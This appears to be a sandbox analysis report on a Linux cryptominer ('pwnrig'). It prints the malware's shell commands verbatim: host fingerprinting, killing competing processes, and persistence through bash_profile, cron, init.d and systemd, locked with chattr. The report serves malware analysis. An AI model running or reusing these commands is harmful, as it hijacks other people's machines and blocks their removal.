/bin/shsh -c "echo \"[\$(hostname=\$(hostname -I 2>/dev/null || hostname -i 2>/dev/null);echo \$hostname | awk {'print \$1'} 2>/dev/null)\$(cat /etc/ssh/sshd_config 2>/dev/null | grep 'Port ' 2>/dev/null | head -n 1 2>/dev/null | awk {'print \"-\"\$2'} 2>/dev/null)][\$(whoami 2>/dev/null)][\$(hostname 2>/dev/null)][\$(grep -c ^processor /proc/cpuinfo 2>/dev/null)][\$(X=\$(grep -m 1 'model name' /proc/cpuinfo 2>/dev/null | cut -d: -f2 2>/dev/null | sed -e 's/^ *//' 2>/dev/null | sed -e 's/\$//' 2>/dev/null); if [ \$(echo \$X 2>/dev/null | awk {'print \$1'} 2>/dev/null) = 'QEMU' ]; then echo 'QEMU'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = '(Haswell)' ]; then echo 'Haswell'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = '(Broadwell)' ]; then echo 'Broadwell'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$3'} 2>/dev/null) = 'CPU' ]; then echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = 'CPU' ]; then echo \$X 2>/dev/null | awk {'print \$3'} 2>/dev/null; elif [ \$(echo \$X 2>/dev/null | awk {'print \$1'} 2>/dev/null) = 'AMD' ]; then echo \$X 2>/dev/null | awk {'print \$2\" \"\$3\" \"\$4'} 2>/dev/null; else echo \$X 2>/dev/null; fi)]\""3⤵
- Attempts to change immutable files
-
/bin/hostnamehostname -I4⤵
- Attempts to change immutable files
-
-
/bin/awkawk "{print \$1}"4⤵
-
-
/bin/catcat /etc/ssh/sshd_config4⤵
-
-
/bin/grepgrep "Port "4⤵
-
-
/bin/headhead -n 14⤵
-
-
/bin/awkawk "{print \"-\"\$2}"4⤵
-
-
/bin/whoamiwhoami4⤵
-
-
/bin/hostnamehostname4⤵
-
-
/bin/grepgrep -c "^processor" /proc/cpuinfo4⤵
- Checks CPU configuration
-
-
/bin/grepgrep -m 1 "model name" /proc/cpuinfo4⤵
- Checks CPU configuration
-
-
/bin/cutcut -d: -f24⤵
-
-
/bin/sedsed -e "s/^ *//"4⤵
-
-
/bin/sedsed -e "s/\$//"4⤵
-
-
/bin/awkawk "{print \$1}"4⤵
-
-
/bin/awkawk "{print \$4}"4⤵
-
-
/bin/awkawk "{print \$4}"4⤵
-
-
/bin/awkawk "{print \$3}"4⤵
-
-
/bin/awkawk "{print \$4}"4⤵
-
-
/bin/awkawk "{print \$1}"4⤵
-
-
/bin/awkawk "{print \$2\" \"\$3\" \"\$4}"4⤵
-
-
-
/bin/shsh -c "ps -A -ostat,ppid 2>/dev/null | awk '/[zZ]/ && !a[\$2]++ {print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done;if [ `id -u 2>/dev/null` -eq '0' ]; then ps x 2>/dev/null | grep /etc/cron 2>/dev/null | grep -v grep 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi"3⤵
-
/bin/psps -A "-ostat,ppid"4⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/bin/awkawk "/[zZ]/ && !a[\$2]++ {print \$2}"4⤵
-
-
/bin/idid -u4⤵
-
-
/bin/grepgrep /etc/cron4⤵
-
-
/bin/psps x4⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/bin/grepgrep -v grep4⤵
-
-
-
/bin/shsh -c "if [ `id -u 2>/dev/null` -eq '0' ]; then ps aux 2>/dev/null | grep -v grep 2>/dev/null | grep -v -- '-bash[[:space:]]*\$' 2>/dev/null | grep -v /usr/sbin/httpd 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done else ps -u `whoami 2>/dev/null` ux | grep -v grep 2>/dev/null | grep -v -- '-bash[[:space:]]*\$' 2>/dev/null | grep -v /usr/sbin/httpd 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi"3⤵
-
/bin/idid -u4⤵
-
-
/bin/psps aux4⤵
- Checks CPU configuration
- Reads CPU attributes
- Enumerates kernel/hardware configuration
- Reads runtime system information
-
-
/bin/grepgrep -v grep4⤵
-
-
/bin/grepgrep -v -- "-bash[[:space:]]*\$"4⤵
-
-
/bin/grepgrep -v /usr/sbin/httpd4⤵
-
-
/bin/awkawk "{if(\$3>30.0) print \$2}"4⤵
-
-
-
/bin/shsh -c "if [ `id -u 2>/dev/null` -eq '0' ]; then if [ `ps aux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | wc -l 2>/dev/null` -gt 1 ]; then ps aux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi else myid=`whoami 2>/dev/null`; if [ `ps -u \$myid ux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | wc -l 2>/dev/null` -gt 1 ]; then ps -u \$myid ux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi fi"3⤵
-
/bin/idid -u4⤵
-
-
/bin/psps aux4⤵
- Checks CPU configuration
- Reads CPU attributes
- Reads runtime system information
-
-
/bin/grepgrep -v grep4⤵
-
-
/bin/grepgrep -- "-bash[[:space:]]*\$"4⤵
-
-
/bin/awkawk "{if(\$3>30.0) print \$2}"4⤵
-
-
/bin/wcwc -l4⤵
-
-
-
-
/tmp/-bash-5592a2cc-8a1d-4d5f-b719-d6918e04d82b/tmp/-bash-5592a2cc-8a1d-4d5f-b719-d6918e04d82b -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d -pwn2⤵
- Executes dropped EXE
- Checks hardware identifiers (DMI)
- Reads hardware information
- Checks CPU configuration
- Reads CPU attributes
- Enumerates kernel/hardware configuration
-
/bin/shsh -c "echo \"[\$(hostname=\$(hostname -I 2>/dev/null || hostname -i 2>/dev/null);echo \$hostname | awk {'print \$1'} 2>/dev/null)\$(cat /etc/ssh/sshd_config 2>/dev/null | grep 'Port ' 2>/dev/null | head -n 1 2>/dev/null | awk {'print \"-\"\$2'} 2>/dev/null)][\$(whoami 2>/dev/null)][\$(hostname 2>/dev/null)][\$(grep -c ^processor /proc/cpuinfo 2>/dev/null)][\$(X=\$(grep -m 1 'model name' /proc/cpuinfo 2>/dev/null | cut -d: -f2 2>/dev/null | sed -e 's/^ *//' 2>/dev/null | sed -e 's/\$//' 2>/dev/null); if [ \$(echo \$X 2>/dev/null | awk {'print \$1'} 2>/dev/null) = 'QEMU' ]; then echo 'QEMU'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = '(Haswell)' ]; then echo 'Haswell'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = '(Broadwell)' ]; then echo 'Broadwell'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$3'} 2>/dev/null) = 'CPU' ]; then echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = 'CPU' ]; then echo \$X 2>/dev/null | awk {'print \$3'} 2>/dev/null; elif [ \$(echo \$X 2>/dev/null | awk {'print \$1'} 2>/dev/null) = 'AMD' ]; then echo \$X 2>/dev/null | awk {'print \$2\" \"\$3\" \"\$4'} 2>/dev/null; else echo \$X 2>/dev/null; fi)]\""3⤵
- Attempts to change immutable files
-
/bin/hostnamehostname -I4⤵
- Attempts to change immutable files
-
-
/bin/awkawk "{print \$1}"4⤵
-
-
/bin/catcat /etc/ssh/sshd_config4⤵
-
-
/bin/grepgrep "Port "4⤵
-
-
/bin/headhead -n 14⤵
-
-
/bin/awkawk "{print \"-\"\$2}"4⤵
-
-
/bin/whoamiwhoami4⤵
-
-
/bin/hostnamehostname4⤵
-
-
/bin/grepgrep -c "^processor" /proc/cpuinfo4⤵
- Checks CPU configuration
-
-
/bin/grepgrep -m 1 "model name" /proc/cpuinfo4⤵
- Checks CPU configuration
-
-
/bin/cutcut -d: -f24⤵
-
-
/bin/sedsed -e "s/^ *//"4⤵
-
-
/bin/sedsed -e "s/\$//"4⤵
-
-
/bin/awkawk "{print \$1}"4⤵
-
-
/bin/awkawk "{print \$4}"4⤵
-
-
/bin/awkawk "{print \$4}"4⤵
-
-
/bin/awkawk "{print \$3}"4⤵
-
-
/bin/awkawk "{print \$4}"4⤵
-
-
/bin/awkawk "{print \$1}"4⤵
-
-
/bin/awkawk "{print \$2\" \"\$3\" \"\$4}"4⤵
-
-
-
/bin/shsh -c "ps -A -ostat,ppid 2>/dev/null | awk '/[zZ]/ && !a[\$2]++ {print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done;if [ `id -u 2>/dev/null` -eq '0' ]; then ps x 2>/dev/null | grep /etc/cron 2>/dev/null | grep -v grep 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi"3⤵
-
/bin/psps -A "-ostat,ppid"4⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/bin/awkawk "/[zZ]/ && !a[\$2]++ {print \$2}"4⤵
-
-
/bin/idid -u4⤵
-
-
/bin/psps x4⤵
- Reads CPU attributes
- Enumerates kernel/hardware configuration
- Reads runtime system information
-
-
/bin/grepgrep /etc/cron4⤵
-
-
/bin/grepgrep -v grep4⤵
-
-
-
/bin/shsh -c "if [ `id -u 2>/dev/null` -eq '0' ]; then SNIFFDIR='/bin';PWNDIR='/bin'; else rm -rf /tmp/.pwn 2>/dev/null;mkdir /tmp/.pwn 2>/dev/null;SNIFFDIR='/tmp/.pwn';PWNDIR='/tmp';fi;PWNRIG='pwnrig';PWNRIGE='pwnrige';PWNRIGL='pwnrigl';CROND='crondr';SYSD='sysdr';INITD='initdr';BPROFILE='bprofr';MINER='/tmp/-bash-5592a2cc-8a1d-4d5f-b719-d6918e04d82b';PROGRAM='-bash';if [ `id -u 2>/dev/null` -eq '0' ]; then chattr -i -a \$SNIFFDIR/\$BPROFILE ~/.bash_profile >/dev/null 2>&1;fi;rm -rf \$SNIFFDIR/\$BPROFILE 2>/dev/null;sed -i \"/\$BPROFILE/d\" ~/.bash_profile 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$BPROFILE 2>/dev/null;echo \"cp -f -r -- \$SNIFFDIR/\$BPROFILE \$PWNDIR/\$PROGRAM 2>/dev/null && \$PWNDIR/\$PROGRAM -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d >/dev/null 2>&1 && rm -rf -- \$PWNDIR/\$PROGRAM 2>/dev/null\" >> ~/.bash_profile 2>/dev/null;if [ `id -u 2>/dev/null` -eq '0' ]; then chattr +i +a \$SNIFFDIR/\$BPROFILE ~/.bash_profile >/dev/null 2>&1;mkdir -p /etc/cron.d /etc/cron.daily /etc/cron.hourly /etc/cron.monthly /etc/cron.weekly 2>/dev/null;chattr -i -a /etc/cron.*/\$PWNRIG \$SNIFFDIR/\$CROND >/dev/null 2>&1;rm -rf \$SNIFFDIR/\$CROND 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$CROND 2>/dev/null;echo -e \"#!/bin/bash\\ncp -f -r -- \$SNIFFDIR/\$CROND \$PWNDIR/\$PROGRAM 2>/dev/null\\ncd \$PWNDIR 2>/dev/null\\n./\$PROGRAM -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d >/dev/null 2>&1\\nrm -rf -- \$PROGRAM 2>/dev/null\\n\" | tee /etc/cron.d/\$PWNRIG /etc/cron.daily/\$PWNRIG /etc/cron.hourly/\$PWNRIG /etc/cron.monthly/\$PWNRIG /etc/cron.weekly/\$PWNRIG > /dev/null;sed -i '1 s/-e //' /etc/cron.*/\$PWNRIG 2>/dev/null;chmod +x /etc/cron.*/\$PWNRIG \$SNIFFDIR/\$CROND 2>/dev/null;chattr +i +a /etc/cron.*/\$PWNRIG \$SNIFFDIR/\$CROND >/dev/null 2>&1;if which chkconfig > /dev/null 2>&1; then chattr -i -a /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD >/dev/null 2>&1;chkconfig \$PWNRIG off 2>/dev/null;chkconfig --del \$PWNRIG 2>/dev/null;rm -rf \$SNIFFDIR/\$INITD 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$INITD 2>/dev/null;echo -e \"#!/bin/bash\\n#\\n# \$PWNRIG Start/Stop the \$PWNRIG clock daemon.\\n#\\n# chkconfig: 2345 90 60\\n# description: \$PWNRIG (by pwned)\\ncp -f -r -- \$SNIFFDIR/\$INITD \$PWNDIR/\$PROGRAM 2>/dev/null\\ncd \$PWNDIR 2>/dev/null\\n./\$PROGRAM -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d 2>/dev/null\\nrm -rf -- \$PROGRAM 2>/dev/null\\n\" | tee /etc/init.d/\$PWNRIG > /dev/null;sed -i '1 s/-e //' /etc/init.d/\$PWNRIG 2>/dev/null;chmod +x /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD 2>/dev/null;chkconfig --add \$PWNRIG 2>/dev/null;chkconfig \$PWNRIG on 2>/dev/null;chattr +i +a /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD >/dev/null 2>&1;fi;if which update-rc.d > /dev/null 2>&1; then chattr -i -a /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD >/dev/null 2>&1;update-rc.d -f \$PWNRIG disable >/dev/null 2>&1;update-rc.d -f \$PWNRIG remove >/dev/null 2>&1;rm -rf \$SNIFFDIR/\$INITD 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$INITD 2>/dev/null;echo -e \"#!/bin/bash\\n### BEGIN INIT INFO\\n# Provides: \$PWNRIG\\n# Required-Start: \$all\\n# Required-Stop:\\n# Default-Start: 2 3 4 5\\n# Default-Stop:\\n# Short-Description: \$PWNRIG (by pwned)\\n### END INIT INFO\\ncp -f -r -- \$SNIFFDIR/\$INITD \$PWNDIR/\$PROGRAM 2>/dev/null\\ncd \$PWNDIR 2>/dev/null\\n./\$PROGRAM -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d 2>/dev/null\\nrm -rf -- \$PROGRAM 2>/dev/null\\n\" | tee /etc/init.d/\$PWNRIG > /dev/null;sed -i '1 s/-e //' /etc/init.d/\$PWNRIG 2>/dev/null;chmod +x /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD 2>/dev/null;update-rc.d \$PWNRIG defaults >/dev/null 2>&1;update-rc.d \$PWNRIG enable >/dev/null 2>&1;chattr +i +a /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD >/dev/null 2>&1;fi;if which systemctl > /dev/null 2>&1; then chattr -i -a /lib/systemd/system/\$PWNRIGL.service /etc/systemd/system/\$PWNRIGE.service \$SNIFFDIR/\$SYSD >/dev/null 2>&1;rm -rf \$SNIFFDIR/\$SYSD 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$SYSD 2>/dev/null;echo -e \"[Unit]\\nDescription=\$PWNRIG\\n\\nWants=network.target\\nAfter=syslog.target network-online.target\\n\\n[Service]\\nType=forking\\nExecStart=/bin/bash -c 'cp -f -r -- \$SNIFFDIR/\$SYSD \$PWNDIR/\$PROGRAM 2>/dev/null && \$PWNDIR/\$PROGRAM -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d >/dev/null 2>&1 && rm -rf -- \$PWNDIR/\$PROGRAM 2>/dev/null'\\nRestart=always\\nKillMode=process\\n\\n[Install]\\nWantedBy=multi-user.target\" | tee /lib/systemd/system/\$PWNRIGL.service /etc/systemd/system/\$PWNRIGE.service >/dev/null;sed -i '1 s/-e //' /lib/systemd/system/\$PWNRIGL.service /etc/systemd/system/\$PWNRIGE.service 2>/dev/null;chattr +i +a /lib/systemd/system/\$PWNRIGL.service /etc/systemd/system/\$PWNRIGE.service \$SNIFFDIR/\$SYSD >/dev/null 2>&1;systemctl enable \$PWNRIGE.service 2> /dev/null;systemctl enable \$PWNRIGL.service 2> /dev/null;systemctl daemon-reload 2> /dev/null;systemctl reload-or-restart \$PWNRIGE.service 2> /dev/null;systemctl reload-or-restart \$PWNRIGL.service 2> /dev/null;fi;fi"3⤵
- Attempts to change immutable files
- Writes file to tmp directory
-
/bin/idid -u4⤵
-
-
/bin/idid -u4⤵
-
-
/bin/chattrchattr -i -a /bin/bprofr "~/.bash_profile"4⤵
- Attempts to change immutable files
-
-
/bin/rmrm -rf /bin/bprofr4⤵
-
-
/bin/sedsed -i /bprofr/d "~/.bash_profile"4⤵
- Attempts to change immutable files
-
-
/bin/cpcp -f -r -- /tmp/-bash-5592a2cc-8a1d-4d5f-b719-d6918e04d82b /bin/bprofr4⤵
- Writes file to system bin folder
-
-
/bin/idid -u4⤵
-
-
/bin/chattrchattr +i +a /bin/bprofr "~/.bash_profile"4⤵
- Attempts to change immutable files
-
-
/bin/mkdirmkdir -p /etc/cron.d /etc/cron.daily /etc/cron.hourly /etc/cron.monthly /etc/cron.weekly4⤵
-
-
/bin/chattrchattr -i -a /etc/cron.d/pwnrig /etc/cron.daily/pwnrig /etc/cron.hourly/pwnrig /etc/cron.monthly/pwnrig /etc/cron.weekly/pwnrig /bin/crondr4⤵
- Attempts to change immutable files
-
-
/bin/rmrm -rf /bin/crondr4⤵
-
-
/bin/cpcp -f -r -- /tmp/-bash-5592a2cc-8a1d-4d5f-b719-d6918e04d82b /bin/crondr4⤵
- Writes file to system bin folder
-
-
/bin/teetee /etc/cron.d/pwnrig /etc/cron.daily/pwnrig /etc/cron.hourly/pwnrig /etc/cron.monthly/pwnrig /etc/cron.weekly/pwnrig4⤵
- Creates/modifies Cron job
-
-
/bin/sedsed -i "1 s/-e //" /etc/cron.d/pwnrig /etc/cron.daily/pwnrig /etc/cron.hourly/pwnrig /etc/cron.monthly/pwnrig /etc/cron.weekly/pwnrig4⤵
- Attempts to change immutable files
- Creates/modifies Cron job
-
-
/bin/chmodchmod +x /etc/cron.d/pwnrig /etc/cron.daily/pwnrig /etc/cron.hourly/pwnrig /etc/cron.monthly/pwnrig /etc/cron.weekly/pwnrig /bin/crondr4⤵
-
-
/bin/chattrchattr +i +a /etc/cron.d/pwnrig /etc/cron.daily/pwnrig /etc/cron.hourly/pwnrig /etc/cron.monthly/pwnrig /etc/cron.weekly/pwnrig /bin/crondr4⤵
- Attempts to change immutable files
-
-
/bin/whichwhich chkconfig4⤵
-
-
/bin/whichwhich update-rc.d4⤵
-
-
/bin/chattrchattr -i -a /etc/init.d/pwnrig /bin/initdr4⤵
- Attempts to change immutable files
-
-
/sbin/update-rc.dupdate-rc.d -f pwnrig disable4⤵
-
/bin/systemctlsystemctl "--root=/" --quiet disable pwnrig5⤵
-
-
/bin/systemctlsystemctl daemon-reload5⤵
-
-
-
/sbin/update-rc.dupdate-rc.d -f pwnrig remove4⤵
-
/bin/systemctlsystemctl daemon-reload5⤵
-
-
-
/bin/rmrm -rf /bin/initdr4⤵
-
-
/bin/cpcp -f -r -- /tmp/-bash-5592a2cc-8a1d-4d5f-b719-d6918e04d82b /bin/initdr4⤵
- Writes file to system bin folder
-
-
/bin/teetee /etc/init.d/pwnrig4⤵
- Modifies init.d
-
-
/bin/sedsed -i "1 s/-e //" /etc/init.d/pwnrig4⤵
- Attempts to change immutable files
- Modifies init.d
-
-
/bin/chmodchmod +x /etc/init.d/pwnrig /bin/initdr4⤵
-
-
/sbin/update-rc.dupdate-rc.d pwnrig defaults4⤵
-
/bin/systemctlsystemctl daemon-reload5⤵
-
-
-
/sbin/update-rc.dupdate-rc.d pwnrig enable4⤵
-
/bin/systemctlsystemctl "--root=/" --quiet enable pwnrig5⤵
-
-
/bin/systemctlsystemctl daemon-reload5⤵
-
-
-
/bin/chattrchattr +i +a /etc/init.d/pwnrig /bin/initdr4⤵
- Attempts to change immutable files
-
-
/bin/whichwhich systemctl4⤵
-
-
/bin/chattrchattr -i -a /lib/systemd/system/pwnrigl.service /etc/systemd/system/pwnrige.service /bin/sysdr4⤵
- Attempts to change immutable files
-
-
/bin/rmrm -rf /bin/sysdr4⤵
-
-
/bin/cpcp -f -r -- /tmp/-bash-5592a2cc-8a1d-4d5f-b719-d6918e04d82b /bin/sysdr4⤵
- Writes file to system bin folder
-
-
/bin/teetee /lib/systemd/system/pwnrigl.service /etc/systemd/system/pwnrige.service4⤵
- Modifies systemd
-
-
/bin/sedsed -i "1 s/-e //" /lib/systemd/system/pwnrigl.service /etc/systemd/system/pwnrige.service4⤵
- Attempts to change immutable files
-
-
/bin/chattrchattr +i +a /lib/systemd/system/pwnrigl.service /etc/systemd/system/pwnrige.service /bin/sysdr4⤵
- Attempts to change immutable files
-
-
/bin/systemctlsystemctl enable pwnrige.service4⤵
-
-
/bin/systemctlsystemctl enable pwnrigl.service4⤵
-
-
/bin/systemctlsystemctl daemon-reload4⤵
-
-
/bin/systemctlsystemctl reload-or-restart pwnrige.service4⤵
-
-
-
-
/tmp/-python37-89b070bb-bda2-479e-b1ab-1879f1acb90c/tmp/-python37-89b070bb-bda2-479e-b1ab-1879f1acb90c2⤵
- Executes dropped EXE
- Writes file to tmp directory
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
177B
MD5cb15fc1aeb315b203f6d6c49fc97d754
SHA133baee08c1adf776175ed6f94d9c192d4d36949c
SHA256f33416850da138c66d6054d7a315a0040623326236c1c62d32e94d52aca6f495
SHA5125dffb2864a87b3004971092255948c30996acfeff3b3980bce0adb8bf593fc79a7f1320dc350d86fee166bb74c47fb23928236db04eded85823dc856ea96f834
-
Filesize
199B
MD5906980accf4b594d289d69ab3c2b212c
SHA107d5e5111fe11aa1aaa66c61dc4a3df74b3ec6dd
SHA2562e4d6729014e1722ea4839b574d63c0e17a72a99c7ff2fd73bbb981c3429d92c
SHA512467b5bffb60506600723b0b416393853d21bfeb19986537a492716a338de4deb2cfe414e62c047798d1ad3b945d1571f1286e6d9627f823f35e7704b0d095fb0
-
Filesize
196B
MD585af470e35a1ae54466bb6d33978ad92
SHA1d3a7f7639a62dd11db91fbcf55922e29b66f1935
SHA2560940db984b9b439904954693b7d2fd4dd9b295e1cb4c440b203b2e72a3aea0ba
SHA512a2702d6157fe0f475a04ff10d0860756e1aaa7c9ee0ff05ae51ef13c7d8cb358ddc85011557e37a142ec1803e5a8551dbfc873ffa85437e5e97bfdff89c18145
-
Filesize
366B
MD5906d7ce63c7466c6c65f509156bb1529
SHA11e3dcb514ce8007a594f6805c7bdde98fe2f7667
SHA256e3d6f2b6cc53564780785e6efb9e415b83e40342fe7afe210631fe84fd492476
SHA512f488084c847b471330dbef23bbb7e3c9def2b961a66406d8ae36de9fe168f9ae1c3db3b001f8e58bd2a0dbf91696a8512812a87bb805df71972a76b82e11cd4d
-
Filesize
384B
MD515caeb685929dab65b1094f9e5c4b29f
SHA12b1141235c528d8ef5aba5ec6567441d04b2634f
SHA256ac406aa204b2dd2c018a98fdb2090f99821be750dae169f5ca13a080822ac8b0
SHA512590862dfff0c3537ea515f8caf28a658c5419140819232d396ce2f0063532d6bb8b6c808df775c3185e6f08f868154879c4980c5d14b38fa1fb2eaa3392a1c71
-
Filesize
381B
MD531fc62b7f5d35aac493ca5162b16f812
SHA123aae8aa6388120308c0bdacb66fee7ac8e8641b
SHA2560e36d48719109e697a24e8fe2f72239109f55071ae9c603f85301029fb09271d
SHA51269e99a9aaebd79746d04cb022107a4b813e4d9a806ba55e53d6493c9b3a893156a5518117dcf8e7d6cdae3e5598a56feff2b108e5707eea85cafcaddb6b7d776
-
Filesize
368B
MD5c4b8df941d21bfdef588739132cd7a14
SHA12ead781a01cc9375ed6c8baab5dfda0cebe1fcfd
SHA25610d05ae87e80189eead21851fdd757b60d7c7710adce029176847516387cfc5e
SHA512bd82c37868c18bbf9c4acde45fb4368d0ac87af741797fca71049f763a665c94651db5e18aed249a99e8b1491c04c476ce1c9039bc8583c89bb071293fe9dae3
-
Filesize
2.3MB
MD5b9f096559e923787ebb1288c93ce2902
SHA194851bcc8f9c651bcda0ff33d17356cb0b16cf12
SHA2561fcc2061f767574044ca1e97f92ca1d44ee0b35e0a796e3bd6a949ad4b1175e5
SHA512ce5f09737d0b7191e3b646ed6111bb0ce97544d280223f327c4f4cc652dc840fed639bc0462b88a7f87d071066e302be7980f14faca1f5e6e9bf732637db22be
-
Filesize
184KB
MD58a68585066330f536d6fb376d15cfc4f
SHA1587dfdb1a3607af9ed32e0561bbab944f510b17b
SHA256c964791501a48e919446892fe14ed101c27da375668ac7a24de891dc68356f9b
SHA5126a5ec5083e58cc3e70bf8a395c85bf66c913737b17266f24925339b26dfa4d641cc9cd83922ef7e9dc7ed6febfceb171b7e051dd4c4741028e0328a431f080a6
-
Filesize
3.2MB
MD57b53cfbbdad8231443b31dd36d7296de
SHA1bf4a0a58fb6e6d8305bf57eb728e8243d879db94
SHA2561a7e3988f870b32971389ad121fe97ee18a517df09d214910cafad2256d2ef02
SHA5128c7952d2fb9ba68fda00e4b2f4332095d5cc98ca3452dcb5c0ee66472da62389c29f59724514fa7dcf009847355d5bc98dd39a6e64215b29296911911cfc15cc
-
Filesize
703B
MD543707f96a39fcc3e40187de0b591ed94
SHA15e9d1e93c8d3b83012855c24977c2c97d040dad0
SHA256d341bed5f3cdb6b01cac8ebdbc02a98a7a265902c200a52b473126ab316e4c9e
SHA512ac2cd46b61aad5f6d4a73d1c90f90d9a6b3c006a46fb439260c280918a329fa8e7928492bbc8a05337d18fa23f49fda2056c50bffb75618972d4c2d85560bbb1
-
Filesize
388B
MD534bba0e0c7ab1c364409fc350fa37868
SHA1a362f6eb47fa0ae5973d1d3b72a20e3c727cbd56
SHA2567d3126408366c9a8813fac8aa2e970e18e837542209c38b751bdee68c06304e1
SHA512249b8608d3a89f9e2a075a6b8164457686a256665729d7e441cafcba35567dd157eeb5123221c8ee4377993907e0100bcd55888fb94a36b557074c0df2850b26
-
Filesize
385B
MD59297e32544b3f6f52346919c3dcc4d78
SHA1a817c64117b4cba178242bf99b008c094f836c7c
SHA256fb6251a22cfb915b67202de5f89f331f18559e09438a89914271fe51018a4311
SHA5128472916e8ed3c8cc7c8db00c2dbe6c103d18406deb6f2d3b7cdba2573cc843adff36a7814997a25f134a53434b8d9c87705d0a184534dae617b2e9b385763662
-
Filesize
253B
MD5d08a4f43c930d1d5491a0d39bf067d11
SHA14bf77dda4a051f388c6ddecac86d473a93ebec60
SHA2567751406a2d0a0da052ea4cd0823f280183d6ff8f5be17608dfaecd6d70cacfa8
SHA512af586bb4a4c7c8db314fdadaa27914b3147a38889e48885a4ff37ed5cc8f20af121d6628e8e80236fe429b0d67d04101f235dca87b11de1551863e8e34f69e31
-
Filesize
265B
MD539e8cc7c9bb4bad75eaa98467e480015
SHA14500949fdd42554ed7bcccc21f8d152cc9de0c56
SHA256eb387e6a2a836adf4b5e940412aba18a4d0ddd2c62a586337abd0ad467b9d968
SHA5128ff2ef21c02de7536b8bc0ef6b60b814ba0faeb6a04c6ab55f1727f27af5af80f7d1de4ffb5913260675ef80b34f15fdb57a2fbb00b6b8afeb59a8e5a421c53f